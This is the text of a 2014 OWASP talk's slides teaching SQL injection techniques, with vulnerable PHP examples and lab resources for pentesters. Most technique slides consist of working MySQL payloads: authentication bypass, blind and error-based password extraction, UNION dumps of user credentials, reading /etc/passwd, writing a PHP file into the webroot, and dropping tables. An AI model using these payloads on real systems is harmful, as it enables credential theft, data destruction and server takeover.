45
[email protected] fb.com/index.htmli linkedin.com/in/pich4ya SQL Injection 101 It is not just about ' or '1'='1 Pichaya Morimoto

SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto

Embed Size (px)

DESCRIPTION

Topic: SQL Injection 101 : It is not just about ' or '1'='1 Speaker: Pichaya Morimoto Event: OWASP Thailand Meeting 3/2014 Date: Auguest 28, 2014

Citation preview

  • 1. SQL Injection 101It is not just about ' or '1'='[email protected]/index.htmlilinkedin.com/in/pich4yaPichaya Morimoto

2. Legal Warning .. 5 6 10,000 7 2 40,000 9 5 100,000 3. Overview Anatomy of SQL Injection Attack Injection Techniques B-E-T-U-S Privilege Escalation File & RCE Advanced Attacks Case Studies 4. What is SQL InjectionA SQL injection attack consistsof insertion or "injection" of aSQL query via the input data fromthe client to the application.- https://www.owasp.org/index.php/SQL_InjectionWebApplicationUser inject a speciallycrafted SQL as input tomanipulate resultsApplication Usersvia client programsInput Entry Points(Search box, Forms, Article ID,Session ID, HTTP headers etc.)Database 5. Very Popular among Hackers 6. Impact on SQL InjectionIn general, consider SQL Injection a high impact severity.Technical Impacts Business Impacts Data losses Bypass Authentications Denial of access Lead to host takeover All data could be stolen,modified, or deleted. Could your reputation beharmed?* https://www.owasp.org/index.php/Top_10_2013-A1-Injection* https://www.owasp.org/index.php/SQL_Injection 7. Exploitation Complexity95% 4% 1%Very Hard LunaticEasy (Requiredan Expert)(Maze queries, 2nd order,Blind, Complex App Logic,Bypass Filters/WAF etc.)SQL injection with Havij by 3 year old 8. A Ton of Tools Automated SQL injection ToolsSQLMap, Havij, BBQSQL, SQLNinja, SQLiX,BobCat, bSQLHacker, bSQLbf, Absinthe,SQLBrute, Squeeza, SQL Power Injector etc. Web Vulnerability Scanner CommercialAcunetix, Netsparker, IBM AppScan,HP Fortify,HP WebInspect, BurpSuite Pro, Qualys WAS etc. FreeW3af, Nikto, SkipFish, Vega, OWASP ZAP etc. 9. Tool == Super Easy ? 10. Tool == Super Easy ? 11. Tools there, why learn to SQLi?1. When tools failed to exploit?2. False Positive Complex Database Query Complex Application Logic Encodings & Blacklist Filters Post Authen-ed Anti-CSRF Token Non-SELECT statements Programmer is so indy3. Its just fun, and sometimes can make good money...In case you are penetration tester, or just a Zero-day hunter ;)Popular websites already scanned by those available tools.It is very challenge, if you can find flaws that overlooked by tools. 12. Quote from a Hacker 1,000 1,000 Windows98SE 13. SQL Injection Techniques1. Boolean-based blind2. Error-based3. Time-based blind4. UNION query-based5. Stacked queries 14. Boolean-based blind technique Inject SQL string to control result to beTRUE or FALSE using boolean algebra You can determine whether T/F based onanalysis of HTTP responses(string/regex/page length/HTTP status) Retrieve arbitrary data: Sub-Queries with SELECT +Conditions (CASE-WHEN, IF-THEN) 15. Example of Vulnerable CodeUser InputTITLEinsert intoSQL queryTRUE case : title = naruto FALSE case : title = abc123 16. Boolean-based blind : Probe title = narutoSQL : SELECT * FROM bookshop WHERE title='naruto'Result : found (TRUE) title = abc123SQL : SELECT * FROM bookshop WHERE title='abc123'Result : not found (FALSE) title = naruto' and '1'='1SQL : ..WHERE title='naruto' and '1'='1'Result : found (TRUE) title = naruto' and 1=2-- -SQL : ..WHERE title='naruto' and 1=2-- -'Result : found (FALSE)Insert anotherTRUE conditionconnected withANDoperatorMySQLcomments-- -#/**/T & T = TT & F = F 17. Boolean-based blind : Exploit title=naruto' and 'cat'=(if(3>2,'cat','dog'))-- -Result: found (TRUE) title=naruto' and 'cat'=(if(1>5,'cat','dog'))-- -Result: not found (FALSE) title=naruto' and 'cat'=(if(database()='owasp_db','cat','dog'))-- -Result: found (TRUE) title=naruto' and 'cat'=(if(mid(database(),1,1)='a','cat','dog'))-- -Result: not found (not starts with a) b c ... title=naruto' and 'cat'=(if(mid(database(),1,1)='o','cat','dog'))-- -MySQL IF functionIF(,,)MySQL substringfunctions1. SUBSTRING(str, pos, len)2. SUBSTR(str, pos, len)3. MID(str, pos, len)Result: found (starts with o), then go to next character. 18. Example of Vulnerable Code$email=$_POST['email'];$password=$_POST['password'];$sql="SELECT * FROM users WHERE (email='$email')";$sql.=" AND (password='$password')";$result = mysql_query($sql);if(mysql_num_rows($result)){die(header('location: member.php'));}else{die(header('HTTP/1.0 401 Unauthorized'));}True (Login successful)HTTP/1.1 302 Foundlocation: member.phpFalse (Login failed)HTTP/1.0 401UnauthorizedUnvalidatedUser InputExploit: curl -v http://url/login.php -d "email=a&password=')||(2>'1" WHERE (email='a') AND (password='')||(2>'1')Always TRUE 19. Boolean-based blind : Exploitpassword=1' or2>(if(mid((select password from users),1,1)='a',1,3))-- -HTTP/1.0 401 UnauthorizedChar Pos : 1password=1' orfrom first record of password column2>(if(mid((select password from users),1,1)='b',1,3))-- -HTTP/1.0 401 Unauthorized...password=1' or2>(if(mid((select password from users),1,1)='t',1,3))-- -HTTP/1.1 302 Foundlocation: member.phpIf Char Pos 1 equals to a thenreturn 1, otherwise return 3When result is in TRUE casethat means 1st char is current value ( t ) 20. Boolean-based blind : Exploitpassword=1' or2>(if(mid((select password from users),2,1)='a',1,3))-- -HTTP/1.0 401 UnauthorizedGo TonextRepeat steps until you characterget all text from theresults!Tip: Find length() 21. Boolean-based blind : ExploitLook for automate way ? if the flaw is not toocomplicate then we can just switch to SQLMap.But keep in mind, there are A LOT of trickypatterns that tools cannot figure out how to evaluateas TRUE or FALSE, so just write your own script!Faster blind test algorithms: Bisection algorithm (binary search) Bit-shift algorithm Regular Expression search 22. Error-based : Concept Inject specially crafted invalid SQL syntax Ideally, force web application to exposeError Message which containsthe injection results Methods depend solely on DBMS Rarely found in production webapps 23. Example of Vulnerable Codefunction search_book($title){global $con;$sql = "SELECT * FROM bookshop WHERE title='".$title."'";$result = mysql_query($sql) or die(mysql_error($con));if(mysql_num_rows($result)){return 'found';}else{return 'not found';}Show Database ErrorMessage when queryresult in an error}$book_title = $_GET['title'];$book_status = search_book($book_title);echo 'Result: '.$book_status.''; 24. Error-based : Exploithttp://url/searchbook.php?title='and extractvalue(rand(),concat(0x3a,(select concat(user(),database()))))-- - 25. Error-based : Exploithttp://url/searchbook.php?title='and extractvalue(rand(),concat(0x3a,(select concat_ws(0x3a,email,password)from users limit 2,1)))-- -CautionError messageshas limit numberof allowed length,so what?length() + mid() ;) 26. Time-based blind : Concept Inject valid SQL string to wait for few seconds in TRUEconditions and longer/shorter delay for FALSE Analysis on response time to determinethe result of queries Take long time to get result but veryuseful to hack completely blind flaws 27. Example of Vulnerable Code 28. Time-based blind : Exploitnewbook.php?title=aaa&author=bbb'+if(ord(mid((select version()),12,1))>108,sleep(5),sleep(10)))--+-SQL: INSERT INTO bookshop(title,author) values('aaa','bbb'+if(ord(mid((select version()),12,1))>108,sleep(5),sleep(10)))-- -')TRUE case : sleep(5) , delay 5 secondsFALSE case : sleep(10), delay 10 secondsDelay 5 seconds 29. Time-based blind : ExploitWrite a script to automate the attack !For example, http://www.blackhatlibrary.net/SQL_injection/mysqli-blindutils/sqli-slee.py 30. Time-based blind : Exploitsleep()executed ! 31. UNION query-based : Concept Most popular method found in SQLinjection tutorials from Google/YouTube Inject valid SQL string by making theleft-side SELECT to be false and theninsert UNION with another right-sideSELECT query using same number ofcolumns contain what you want to fetch. 32. Example of Vulnerable CodeUnvalidated parameter authorpass into SQL query 33. UNION query-based : ExploitStep 1 : Find columns of left SELECT statement using ORDER BYhttp://owasp-sqli.local/showbook.php?author=longcat' order by 1-- -There are column no. 1 - 4 inunderlying SELECT queryThere is no 5thcolumn. If db errormsg on, u will see:Unknown column '5' in'order clause' 34. UNION query-based : ExploitStep 2.1 : We do not need result from 1st SELECT SQL query sodiscard it with always FALSE condition.http://owasp-sqli.local/showbook.php?author=longcat' and 1>2-- -Step 2.2 : Insert 2nd SELECT SQL query separated by UNIONhttp://owasp-sqli.local/showbook.php?author=longcat' and 1>2UNION select 1,2,3,4-- -Result ofSELECT1,2,3,4 willreplace wherethe result of 1stSELECT was. 35. UNION query-based : ExploitExploit : http://owasp-sqli.local/showbook.php?author=longcat' and 1>2 unionselect user(),database(),version(),(select group_concat(email,password) from users)--+-Tips: Database Meta Dataselect database()select table_name frominformation_schema.tablesselect column_name frominformation_schema.columns 36. Stacked Queries : Concept Append another query into the injection Not All DBMS drivers/API supportstacked queries Very Effective for MS-SQL, SQLiteAttack Scenario:User Input = 123SQL: SELECT email FROM users where id=123User Input = 456; DROP table usersSQL: ... users where id=456; DROP table users 37. Example of Vulnerable Code 38. Stacked queries : Exploit 39. Privilege Escalation Read credential from configuration files Create Accessible Web Backdoor Arbitrary OS command execution 40. SQL Injection : Read FileExploit: http://owasp-sqli.local/showbook.php?author=longcat' and 1>2 union select 1,load_file('/etc/passwd'),3,4--+- 41. SQL Injection : Write FileExploit: http://owasp-sqli.local/showbook.php?author=longcat' and 1>2 union select0x3c3f70687020706870696e666f28293b203f3e,null,null,null into outfile'/var/www/owasp-sqli.local/public_html/upload/info.php'--+- 42. SQL Injection : OS CMD Shell1. Write File > Web Backdoor( ex. http://youtube.com/watch?v=QIXTPPBfLyI )2. Built-in OS command functions / UDFMS-SQL xp_cmdshell 43. Advanced Attacks MySQL Second Order SQL Injection Abusing PHP PDO prepared statements Making a Backdoor with SQLite How a hashed string causes SQL Injection flaw Account Takeover with SQL Truncation Attack CodeIgniter Active Record Bypass 44. Next Time :s 45. Thanks! Need More?Good Resourceshttps://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-005)https://www.owasp.org/index.php/Blind_SQL_Injectionhttp://websec.ca/kb/sql_injectionhttps://github.com/sqlmapproject/sqlmaphttp://www.amazon.com/Injection-Attacks-Defense-Second-Edition/dp/1597499633Build your own SQL Injection Playgroundhttps://github.com/SpiderLabs/MCIR/tree/master/sqlolhttps://github.com/Audi-1/sqli-labshttps://github.com/sqlmapproject/testenvhttps://www.owasp.org/index.php/OWASP_Broken_Web_Applications_Projecthttps://pentesterlab.com/exercises/web_for_pentester/https://pentesterlab.com/exercises/from_sqli_to_shell_II/https://pentesterlab.com/exercises/from_sqli_to_shell_pg_edition/